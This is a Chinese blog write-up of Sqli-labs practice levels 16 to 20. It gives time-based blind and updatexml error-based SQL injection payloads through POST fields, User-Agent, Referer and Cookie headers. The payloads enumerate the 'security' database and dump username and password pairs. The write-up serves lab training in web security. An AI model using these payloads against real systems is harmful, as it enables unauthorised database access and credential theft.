Sqli-labs靶场实操(5)

less-16

类似15关

1.")闭合,使用盲注

(通过响应时间判断)

2.时间盲注判断数据库名长度为8

3.判断数据库名
用substr函数截取数据库的第一位字符
if((substr(database(),1,1)='a'),sleep(10),1)

依次得到数据库名security

3.判断数据库表
判断数据库第一个表的第一位字符:if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),sleep(10),1)

以此判断得到数据库中的表为emails、referers、users、uagents

4.判断users表的字段
判断users表的第一个字段的第一位字符:if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'),sleep(10),1)

同理得到users表的所有字段为:id,username,password

同理判断得到username,password所有数据

less-17

该关卡的请求方法是POST
可以使用报错注入

1.测试注入点

在第一个输入框中,输入闭合都失败
在第二个密码输入框中,成功闭合了

2.判断数据库

and updatexml(1,concat(1,(database()),1),1)
 

3.判断表

updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

4.判断字段

updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

5.得到所有数据

less-18

1.

在登录界面输入信息登录并抓取数据包,发送到Repeater中在User-agent后面进行注入 测试...使用单引号成功报错确定其SQL注入

这里的闭合是单引号,但是闭合方式不能在最后加个--空格或者--+或者#,只能利用好闭合的单引号,在最后加一个'

采用报错注入获得数据库名

' and updatexml(1,concat(1,(database()),1),1) and 

获得表名

and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

获得字段名

and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

获得全部数据

and updatexml(1,concat(1,(select concat_ws(':',username,password) from users limit 1,1)),1)

less-19

1.进行登录时候抓包进行测试.....在referer字段后进行测试报错

2.采用报错注入函数获取其当前数据库名

and updatexml(1,concat(1,(database()),1),1)

3.获取表名

and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

4.获取字段名

and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

5.获取全部数据

 

less-20

可以看见这里返回了很多信息,包括了自己的Cookie。

这里存在cookie注入,并且是'闭合

采用报错注入函数获取其当前数据库名

获得表名

and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

获得字段

and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

获得全部字段

and updatexml(1,concat(1,(select concat_ws(':',username,password) from users limit 1,1)),1)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值